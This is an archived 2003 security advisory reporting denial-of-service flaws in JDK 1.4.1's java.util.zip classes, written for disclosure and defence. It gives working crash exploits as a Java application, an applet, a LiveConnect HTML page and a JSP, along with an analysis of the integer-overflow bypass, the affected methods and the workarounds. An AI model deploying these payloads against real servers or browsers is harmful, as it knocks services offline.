Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: Apps :: a6070.htm

JDK Denial-Of-Service holes JAV:



16th Mar 2003 [SBWID-6070]
COMMAND

	JDK Denial-Of-Service holes

SYSTEMS AFFECTED

	JDK 1.4.1_01

PROBLEM

	In Marc Schoenefeld Security Alert :
	
	 http://www.illegalaccess.org
	
	
	Several Java distributions (like the popular JDK  1.4.1  JRE  from  Sun)
	have  been  found  to  contain  several  locally   Denial   of   Service
	vulnerabilities  in  java.util.zip.*   system-classes   exploitable   by
	malicious applets and applications
	
	Several Java distributions (like the popular JDK  1.4.1  JRE  from  Sun)
	have been found to contain a locally exploitable Denial of Service.  The
	problem appears difficult to exploit, but  hackers  have  a  history  of
	discovering and  releasing  exploit  code  for  exploitable  flaws.  The
	techniques described here have been presented at  the  Blackhat  Windows
	Security 2003 conference. The following  threats  appear  on  the  whole
	range where java technology is present:
	
	A malicious user or an attacker could insert the  described  exploitable
	API code to force JVM crashes in  the  ISPs  runtime  environment.  This
	will cause outage of the JSP / servlet service the JVM is  running  for.
	This has been tested with Tomcat 4.1.18  with  security  options  turned
	on. There is not only a threat for server-based services, furthermore  a
	malicious applet containing the code exploiting the  vulnerable  classes
	could  crash  browser  software   like   Internet   Explorer,   Netscape
	Navigator, Lotus Notes that have Java functionality  enabled.  Analysis:
	Java DK 1.4.1 has entry points to native libraries. These  entry  points
	can be called with parameters (java simple  types  or  objects).  If  an
	object value is set to null and the  native  routine  does  not  provide
	appropriate check for null values, the JVM reaches  an  undefined  state
	and typically ends of in a JVM crash. The  following  proof  of  concept
	code describes the problem stated  above.  If  you  are  interested  for
	details about JVM security see the presentation of Marc  Schoenefeld  at
	Blackhat USA 2002 and LSD-PL at Blackhat Asia  2002.  In  this  specific
	case there seems  to  a  protection  against  buffer  underflow  in  the
	vulnerable classes, which can be disabled by a  special  combination  of
	the accompanying parameters, which cause via an underflow condition.  If
	the injected buffer can be used for shell code injection is still  under
	investigation.
	
	This vulnerabilities can be exploited in the following scenarios if  the
	vulnerable method is called
	
	in a java application, there is low to  medium  risk,  because  attacker
	normally needs access to local file system,  the  risk  if  classes  are
	loaded dynamically from the network and the jar-files are infected  with
	the exploit in a java servlet or java server page, there  is  medium  to
	high risk,  because  attacker  normally  needs  access  to  the  webroot
	directory.  After  injecting  an  infected  servlet/server  page  ,  the
	attacker calls it via http and the servlet engine  (tested  with  tomcat
	4.1.18) dies with an JVM crash. Unfortunately  the  -security  parameter
	has no effect, because java.util.zip.CRC32 is  a  trusted  class.  in  a
	java servlet, there is high risk, resulting in  a  denial-of-service  of
	the browser software. This has been tested  with  several  browsers  and
	JDKs plugged in on W32  and  Linux,  including  popular  platforms  like
	Internet Explorer 5/6, Mozilla  and  Konqueror  browser  utilizing  Java
	Plugins like the current JRE 1.4.1 or JRE 1.3.1.
	
	D:\entw\java\blackhat\crash>java -classpath . CRCCrash.java
	
	Result
	An unexpected exception has been detected in native code outside the
	VM.
	Unexpected Signal : EXCEPTION_ACCESS_VIOLATION occurred at
	PC=3D0x6D3220A4
	Function=3DJava_java_util_zip_ZipEntry_initFields+0x288
	Library=3DC:\Programme\Java\j2re1.4.1_01\bin\zip.dll
	
	Current Java thread:
	at java.util.zip.CRC32.updateBytes(Native Method)
	at java.util.zip.CRC32.update(CRC32.java:53)
	at CRCCrash.main(CRCCrash.java:3)
	
	Dynamic libraries:
	0x00400000 - 0x00406000 C:\WINDOWS\system32\java.exe
	0x77F40000 - 0x77FEE000 C:\WINDOWS\System32\ntdll.dll
	0x77E40000 - 0x77F38000 C:\WINDOWS\system32\kernel32.dll
	0x77DA0000 - 0x77E3C000 C:\WINDOWS\system32\ADVAPI32.dll
	0x78000000 - 0x78086000 C:\WINDOWS\system32\RPCRT4.dll
	0x77BE0000 - 0x77C33000 C:\WINDOWS\system32\MSVCRT.dll
	0x6D330000 - 0x6D45A000
	C:\Programme\Java\j2re1.4.1_01\bin\client\jvm.dll
	0x77D10000 - 0x77D9C000 C:\WINDOWS\system32\USER32.dll
	0x77C40000 - 0x77C80000 C:\WINDOWS\system32\GDI32.dll
	0x76AF0000 - 0x76B1D000 C:\WINDOWS\system32\WINMM.dll
	0x76330000 - 0x7634C000 C:\WINDOWS\System32\IMM32.DLL
	0x6D1D0000 - 0x6D1D7000 C:\Programme\Java\j2re1.4.1_01\bin\hpi.dll
	0x6D300000 - 0x6D30D000 C:\Programme\Java\j2re1.4.1_01\bin\verify.dll
	0x6D210000 - 0x6D229000 C:\Programme\Java\j2re1.4.1_01\bin\java.dll
	0x6D320000 - 0x6D32D000 C:\Programme\Java\j2re1.4.1_01\bin\zip.dll
	0x76C50000 - 0x76C72000 C:\WINDOWS\system32\imagehlp.dll
	0x6DA00000 - 0x6DA7D000 C:\WINDOWS\system32\DBGHELP.dll
	0x77BD0000 - 0x77BD7000 C:\WINDOWS\system32\VERSION.dll
	0x76BB0000 - 0x76BBB000 C:\WINDOWS\system32\PSAPI.DLL
	
	Local Time =3D Mon Feb 03 12:15:38 2003
	Elapsed Time =3D 0
	#
	# The exception above was detected in native code outside the VM
	#
	# Java VM: Java HotSpot(TM) Client VM (1.4.1_01-b01 mixed mode)
	#
	
	
	Figure 1: JVM Crash, Sample Exploit Application
	
	This application has been  successfully  tested  harmful  with  Sun  JDK
	1.3.1,  1.4.0,  1.4.1,  IBM  JDK  1.3.1  on  several  tested   platforms
	including W32, Linux, Solaris and AIX. As this exploit  affects  trusted
	system libs it is likely that J2EE application servers and  JMX  runtime
	components are also affected.
	
	If non-desktop related java environments  like  the  embedded  solutions
	frameworks (MIDP) for devices like cellular phones is affected is  still
	under investigation.
	
	public class CRCCrash {
	public static void main(String[] args) {
	(new java.util.zip.CRC32()).update(new byte[0] ,4 ,
	Integer.MAX_VALUE-3);
	}
	}
	
	
	Figure 1: JVM Crash, Sample Exploit Applet
	
	This  applet  has  been  successfully  tested  harmful  with  IE6,  IE5,
	Mozilla, Konqueror, but it is expected that other  java  based  browsers
	and systems with embedding browsers with java functionality  like  Lotus
	Notes,  Outlook,  etc.  are  also  vulnerable  because  the  exploitable
	component is the underlying JDK (see above).
	
	/**
	* Describe class <code>CRC32CrashApplet</code> here.
	*
	* @author <a href=3D"mailto:Marc@illegalaccess.org">Marc Schoenefeld</a>
	* @version 1.0
	*/
	public class CRC32CrashApplet extends java.applet.Applet {
	public void paint(java.awt.Graphics g)
	{
	java.util.zip.CRC32 crc =3D new java.util.zip.CRC32();
	crc.update(new byte[0],4,Integer.MAX_VALUE-3);
	g.drawString("Crash the browser!", 20, 90);
	}
	}
	
	
	Figure 2: CRCCrash.java, Sample Exploit  Applet  This  applet  has  been
	successfully tested harmful with IE6, IE5, Mozilla,  Konqueror,  but  it
	is expected that other java based browsers and  systems  with  embedding
	browsers with java functionality like Lotus  Notes,  Outlook,  etc.  are
	also vulnerable because the exploitable component is the underlying  JDK
	(see above).
	
	/**
	* Describe class <code>CRC32CrashApplet</code> here.
	*
	* @author <a href=3D"mailto:Marc@illegalaccess.org">Marc Schoenefeld</a>
	* @version 1.0
	*/
	public class CRC32CrashApplet extends java.applet.Applet {
	public void paint(java.awt.Graphics g)
	{
	java.util.zip.CRC32 crc =3D new java.util.zip.CRC32();
	crc.update(new byte[0],4,Integer.MAX_VALUE-3);
	g.drawString("Crash the browser!", 20, 90);
	}
	}
	
	
	Figure 3: CRC32CrashApplet.java, Sample Exploit Liveconnect page
	
	<html> <body> <script language=3Djavascript>
	b=3Djava.lang.String("");c=3Db.getBytes();a=3Dnew
	java.util.zip.Adler32();a.update(c,4, 0x7ffffffc); </script>
	</body> </html>
	
	
	Figure 4: CRC32Crash.html, Sample Exploit Java Server Page
	
	This server page has been tested with Apache Jakarta Tomcat 4.1.18,  but
	it is expected that other servlet engines like Websphere, JRun are  also
	vulnerable because the exploitable component is the underlying JDK  (see
	above).
	
	<%@pagecontentType=3D"text/html;charset=3DWINDOWS-1252"
	import=3D"java.util.zip.*"%>
	<% %>
	<%! %>
	<% (new CRC32()).update(new byte[0],4,Integer.MAX_VALUE-3); %>
	<html>
	<head>
	<title>Crash-JSP mit java.util.zip.CRC32.update</title>
	</head>
	<body>
	<hr>
	<h1>Crash-JSP mit sun.misc.MessageUtils.toStderr(null)</h1>
	<h2> Marc Schoenefeld , marc@illegalaccess.org </h2>
	</body>
	</html>
	
	
	Figure 5: CRC32CrashApplet.jsp, Affected methods and classes
	
	java.util.zip.Adler32().update(=85);
	java.util.zip.Deflater().setDictionary(=85);
	java.util.zip.CRC32().update(=85);
	java.util.zip.Deflater().deflate(=85);
	java.util.zip.CheckedOutputStream().write(=85);
	java.util.zip.CheckedInputStream().read(=85);
	
	 Detection:
	 ==========
	
	Scan the  importes  of  the  (if  self-written)  classes  of  your  java
	applications (especially if downloaded from remote sites) if  they  call
	into the affected methods.
	
	 Analysis:
	 =========
	CRC32 has native calls in the following methods:
	
	private native static int update(int adler, int b);
	private native static int updateBytes(int adler, byte[] b, int off,int len);
	
	It was detected  to  be  that  the  source  of  all  vulnerabilites  are
	inadequate range checks which then lead to integer overflows. The  CRC32
	functions that guard the native  call  to  zip.dll  seems  to  be  coded
	somehow like the following:
	
	public class CRC32 [...] {
	[...]
	public void update(byte[] buff, int offset, int lenny) {
	if (buff =3D=3D null)
	{
	throw new NullPointerException();
	}
	if (offset < 0 || lenni < 0 || offset + lenny > buff.length)
	{
	throw new ArrayIndexOutOfBoundsException();
	} adler =3D updateBytes(adler, b, offset, lenny);
	}
	
	the buffer has to be non-null, therefore the exploit uses byte[0]
	
	if offset < 0 the call is rejected
	if lenny< 0 the call is rejected
	If offset + lenny is larger than buff.length the call is rejected
	
	To exploit the vulnerability a situation must be created where
	
	offset + lenny =3D< buff.length AND offset >=3D 0 AND lenny >=3D0
	
	which is in our example given for
	
	x =3D 4 :
	offset =3D x AND length =3D Integer.MAX_VALUE - x + buff.length+1
	

SOLUTION

	 Workaround:
	 ===========
	
	Disable Java , or if this is not possible
	
	Do not download java applet from  untrusted  sources  Ask  your  JRE/JDK
	vendor (Sun, IBM, =85) for a security update Patch Available
	
	The  vulnerabilities  described  here  are  no  longer  present  in  JDK
	1.4.1_02. The present JDK 1.3.1_07 is still affected. A  patch  for  IBM
	JDK is not known.
	
	 History
	 =======
	
	The bugs have been reported to the official java  bug  database  on  Feb
	03, 2003 and have been considered to be  new,  their  URLs  in  the  bug
	database are
	
	http://developer.java.sun.com/developer/bugParade/bugs/4811913.html
	http://developer.java.sun.com/developer/bugParade/bugs/4812181.html
	http://developer.java.sun.com/developer/bugParade/bugs/4812006.html
	http://developer.java.sun.com/developer/bugParade/bugs/4811927.html
	http://developer.java.sun.com/developer/bugParade/bugs/4811917.html
	
	 Further Information
	 ===================
	
	An extended version of this report with a summary about native
	method vulnerabilites can be downloaded from IDefense.com.
	
	 Contributor
	 ===========
	
	Marc Schoenefeld , www.illegalaccess.org
	


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH